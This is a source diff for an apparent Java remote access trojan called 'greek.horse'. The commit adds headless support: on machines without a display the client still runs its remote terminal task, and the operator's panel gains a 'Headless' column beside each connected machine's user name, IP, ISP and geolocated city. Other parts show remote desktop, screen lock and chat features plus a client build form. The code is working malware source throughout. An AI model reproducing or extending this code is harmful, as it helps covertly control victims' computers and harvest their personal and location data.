Add headless support

src/main/java/greek/horse/client/ClientSocketManager.java

@@ -34,17 +34,19 @@ public class ClientSocketManager {
 
     private AtomicBoolean running = new AtomicBoolean(true);
     private final TroyClient troyClient;
-    private final Robot bot = new Robot();
+    private final Robot bot = headless ? null : new Robot();
     public final static HashMap<Integer, Integer> extendedKeys = createMap();
 
     private final AtomicReference<ObjectOutputStream> oos = new AtomicReference<>();
     private Socket socket;
     private final ExecutorService threadPool = Executors.newCachedThreadPool();
 
-    private final LockTask lockTask = new LockTask(this, bot);
     private final ClientTerminalTask terminalTask = new ClientTerminalTask(this);
-    private final DesktopTask desktopTask = new DesktopTask(this, bot);
-    private final ClientChatTask chatTask = new ClientChatTask(this);
+    private final LockTask lockTask = headless ? null : new LockTask(this, bot);
+    private final DesktopTask desktopTask = headless ? null : new DesktopTask(this, bot);
+    private final ClientChatTask chatTask = headless ? null : new ClientChatTask(this);
+
+    private static final boolean headless = GraphicsEnvironment.isHeadless();
 
     private final HashMap<FunctionTicket, Object> fixedMap = new HashMap<>();
 
@@ -53,10 +55,12 @@ public class ClientSocketManager {
 
     public ClientSocketManager(TroyClient troyClient) throws AWTException {
         this.troyClient = troyClient;
-        threadPool.execute(lockTask);
+        if (!headless) {
+            threadPool.execute(lockTask);
+            threadPool.execute(desktopTask);
+            threadPool.execute(chatTask);
+        }
         threadPool.execute(terminalTask);
-        threadPool.execute(desktopTask);
-        threadPool.execute(chatTask);
     }
 
     private static HashMap<Integer, Integer> createMap() {
@@ -187,7 +191,7 @@ public class ClientSocketManager {
     }
 
     private Object sendMessage(Object o) {
-        chatTask.addMessage((String)o);
+        chatTask.addMessage((String) o);
         return null;
     }
 
@@ -429,7 +433,7 @@ public class ClientSocketManager {
         JsonReader reader = Json.createReader(new StringReader(response.body().string()));
         JsonObject json = reader.readObject();
 
-        return new NetInfo(inet, json);
+        return new NetInfo(inet, json, headless);
 
     }
 

src/main/java/greek/horse/models/NetInfo.java

@@ -23,9 +23,10 @@ public class NetInfo implements Serializable {
     private final String isp;
     private final String org;
     private final String as;
+    private final boolean headless;
 
 
-    public NetInfo(String userName, OS os, String bigOs, String hostName, String localIP, String externalIP, String country, String region, String city, String timeZone, String isp, String org, String as) {
+    public NetInfo(String userName, OS os, String bigOs, String hostName, String localIP, String externalIP, String country, String region, String city, String timeZone, String isp, String org, String as, boolean headless) {
         this.userName = userName;
         this.os = os;
         this.bigOs = bigOs;
@@ -39,10 +40,10 @@ public class NetInfo implements Serializable {
         this.isp = isp;
         this.org = org;
         this.as = as;
-
+        this.headless = headless;
     }
 
-    public NetInfo(InetAddress inet, JsonObject json) throws IOException {
+    public NetInfo(InetAddress inet, JsonObject json, boolean headless) throws IOException {
 
         if (!json.getString("status").contains("success")){
             throw new IOException("Status returner false: "+json.getString("status"));
@@ -59,6 +60,7 @@ public class NetInfo implements Serializable {
             os = OS.UNKNOWN;
         }
 
+        this.headless = headless;
         this.bigOs = System.getProperty("os.name");
 
         this.userName = SystemUtils.getUserName();
@@ -147,6 +149,10 @@ public class NetInfo implements Serializable {
         return bigOs;
     }
 
+    public boolean isHeadless() {
+        return headless;
+    }
+
     public String getTitle(){
         return this.userName+"@"+this.externalIP;
     }

src/main/java/greek/horse/server/troyStructure/NetInfoTable.java

@@ -21,6 +21,8 @@ public class NetInfoTable {
     private final SimpleStringProperty isp;
     private final SimpleStringProperty os;
     private final SimpleStringProperty bigOs;
+    private final SimpleStringProperty headlessText;
+    private final boolean headless;
     private final TroyPlebe father;
 
     public NetInfoTable(NetInfo netInfo, TroyPlebe father) {
@@ -32,6 +34,8 @@ public class NetInfoTable {
         this.isp = new SimpleStringProperty(netInfo.getIsp());
         this.os = new SimpleStringProperty(netInfo.getOs().toString());
         this.bigOs = new SimpleStringProperty(netInfo.getBigOs());
+        this.headlessText = new SimpleStringProperty(netInfo.isHeadless()?"Yes":"No");
+        this.headless = netInfo.isHeadless();
         this.father = father;
 
         String countryName = netInfo.getCountry().toLowerCase(Locale.ROOT);
@@ -108,6 +112,18 @@ public class NetInfoTable {
         return bigOs.get();
     }
 
+    public boolean isHeadless() {
+        return headless;
+    }
+
+    public String getHeadlessText() {
+        return headlessText.get();
+    }
+
+    public SimpleStringProperty headlessTextProperty() {
+        return headlessText;
+    }
+
     public SimpleStringProperty bigOsProperty() {
         return bigOs;
     }

src/main/java/greek/horse/server/ui/controllers/HorseController.java

@@ -43,11 +43,12 @@ public class HorseController {
     public TableColumn<NetInfoTable, String> regionColumn;
     public TableColumn<NetInfoTable, String> cityColumn;
     public TableColumn<NetInfoTable, ImageView> flagColumn;
-    public TextField portStart;
     public TableColumn<NetInfoTable, String> ispColumn;
     public TableColumn<NetInfoTable, String> osColumn;
-    public TableView<NetInfoTable> tableView;
     public TableColumn<NetInfoTable, String> bigOsColumn;
+    public TableColumn<NetInfoTable, String> headlessColumn;
+    public TableView<NetInfoTable> tableView;
+    public TextField portStart;
     public TextField portBuild;
     public TextField hostBuild;
     public Button buildBtn;
@@ -115,13 +116,13 @@ public class HorseController {
     private void startTable() {
         ObservableList<TroyPlebe> plebeObservableList = this.troyServer.getPlebes();
 
-        // for demo-ing app
+//         for demo-ing app
 //        for (int i = 0; i < 10; i++) {
-//            tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi")));
-//            tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi")));
-//            tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi")));
-//            tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi")));
-//            tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi")));
+//            tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A.", false), new TroyPlebe("skibidi")));
+//            tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions", true), new TroyPlebe("skibidi")));
+//            tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A.", false), new TroyPlebe("skibidi")));
+//            tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc", true), new TroyPlebe("skibidi")));
+//            tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB", false), new TroyPlebe("skibidi")));
 //        }
 
         plebeObservableList.addListener((ListChangeListener<TroyPlebe>) lis -> {
@@ -164,6 +165,7 @@ public class HorseController {
         ispColumn.setCellValueFactory(c -> c.getValue().ispProperty());
         osColumn.setCellValueFactory(c -> c.getValue().osProperty());
         bigOsColumn.setCellValueFactory(c -> c.getValue().bigOsProperty());
+        headlessColumn.setCellValueFactory(c -> c.getValue().headlessTextProperty());
 
         tableView.setRowFactory(new HorseRowFactory(this));
     }
@@ -314,6 +316,7 @@ public class HorseController {
                     "User name: ",
                     "OS: ",
                     "Big OS: ",
+                    "Headless: ",
                     "Host name: ",
                     "Local IP: ",
                     "External IP: ",
@@ -330,6 +333,7 @@ public class HorseController {
                     netInfo.getUserName(),
                     netInfo.getOs().toString(),
                     netInfo.getBigOs(),
+                    String.valueOf(netInfo.isHeadless()),
                     netInfo.getHostName(),
                     netInfo.getLocalIP(),
                     netInfo.getExternalIP(),

src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java

@@ -4,11 +4,15 @@ import greek.horse.server.troyStructure.NetInfoTable;
 import greek.horse.server.ui.ChatApp;
 import greek.horse.server.ui.controllers.HorseController;
 import javafx.embed.swing.SwingFXUtils;
+import javafx.event.EventHandler;
 import javafx.geometry.Insets;
 import javafx.scene.control.*;
 import javafx.scene.image.ImageView;
+import javafx.scene.input.ContextMenuEvent;
 import javafx.util.Callback;
 
+import javax.swing.event.DocumentEvent;
+
 public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableRow<NetInfoTable>> {
     private final HorseController controller;
 
@@ -38,7 +42,7 @@ public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableR
 
 
         MenuItem disconnect = new MenuItem("Disconnect", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("disconnect", 0.07), null)));
-        MenuItem stop = new MenuItem("Stop",new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("stop", 0.07), null)));
+        MenuItem stop = new MenuItem("Stop", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("stop", 0.07), null)));
         Menu manageClient = new Menu("Manage Client", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("client", 0.07), null)));
         manageClient.getItems().addAll(disconnect, stop);
 
@@ -62,7 +66,7 @@ public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableR
             this.controller.contextStop(row);
         });
 
-        chat.setOnAction(event ->{
+        chat.setOnAction(event -> {
             this.controller.contextChat(row);
         });
 
@@ -78,6 +82,24 @@ public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableR
             this.controller.contextFullData(row);
         });
 
+        // sort of one time event
+        EventHandler<ContextMenuEvent> handler = new EventHandler<>() {
+            @Override
+            public void handle(ContextMenuEvent contextMenuEvent) {
+                NetInfoTable item = row.getItem();
+                if (item != null) {
+                    if (item.isHeadless()) {
+                        desktop.setDisable(true);
+                        lock.setDisable(true);
+                        chat.setDisable(true);
+                    }
+                    row.removeEventFilter(ContextMenuEvent.CONTEXT_MENU_REQUESTED, this);
+                }
+            }
+        };
+
+        row.addEventFilter(ContextMenuEvent.CONTEXT_MENU_REQUESTED, handler);
+
         contextMenu.getItems().addAll(monitoring, interaction, manageClient);
 
         row.setContextMenu(contextMenu);

src/main/resources/scenes/horse.fxml

@@ -11,9 +11,9 @@
 <?import javafx.scene.layout.HBox?>
 <?import javafx.scene.text.Font?>
 
-<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="400.0" prefWidth="697.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.HorseController">
+<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="400.0" prefWidth="762.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.HorseController">
    <center>
-      <TableView fx:id="tableView" BorderPane.alignment="CENTER">
+      <TableView fx:id="tableView" prefHeight="320.0" prefWidth="765.0" BorderPane.alignment="CENTER">
         <columns>
           <TableColumn id="cu" fx:id="userNameColumn" prefWidth="93.0" style="-fx-padding: 0;" text="Username" />
             <TableColumn fx:id="ipColumn" prefWidth="98.0" style="-fx-padding: 0;" text="IP" />
@@ -24,6 +24,7 @@
             <TableColumn fx:id="cityColumn" prefWidth="74.0" style="-fx-padding: 0;" text="City" />
             <TableColumn fx:id="osColumn" prefWidth="74.0" style="-fx-padding: 0;" text="OS" />
             <TableColumn fx:id="bigOsColumn" prefWidth="89.0" style="-fx-padding: 0;" text="System" />
+            <TableColumn fx:id="headlessColumn" prefWidth="67.0" style="-fx-padding: 0;" text="Headless" />
         </columns>
       </TableView>
    </center>

target/classes/scenes/horse.fxml

@@ -11,9 +11,9 @@
 <?import javafx.scene.layout.HBox?>
 <?import javafx.scene.text.Font?>
 
-<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="400.0" prefWidth="697.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.HorseController">
+<BorderPane maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="400.0" prefWidth="762.0" xmlns="http://javafx.com/javafx/11.0.1" xmlns:fx="http://javafx.com/fxml/1" fx:controller="greek.horse.server.ui.controllers.HorseController">
    <center>
-      <TableView fx:id="tableView" BorderPane.alignment="CENTER">
+      <TableView fx:id="tableView" prefHeight="320.0" prefWidth="765.0" BorderPane.alignment="CENTER">
         <columns>
           <TableColumn id="cu" fx:id="userNameColumn" prefWidth="93.0" style="-fx-padding: 0;" text="Username" />
             <TableColumn fx:id="ipColumn" prefWidth="98.0" style="-fx-padding: 0;" text="IP" />
@@ -24,6 +24,7 @@
             <TableColumn fx:id="cityColumn" prefWidth="74.0" style="-fx-padding: 0;" text="City" />
             <TableColumn fx:id="osColumn" prefWidth="74.0" style="-fx-padding: 0;" text="OS" />
             <TableColumn fx:id="bigOsColumn" prefWidth="89.0" style="-fx-padding: 0;" text="System" />
+            <TableColumn fx:id="headlessColumn" prefWidth="67.0" style="-fx-padding: 0;" text="Headless" />
         </columns>
       </TableView>
    </center>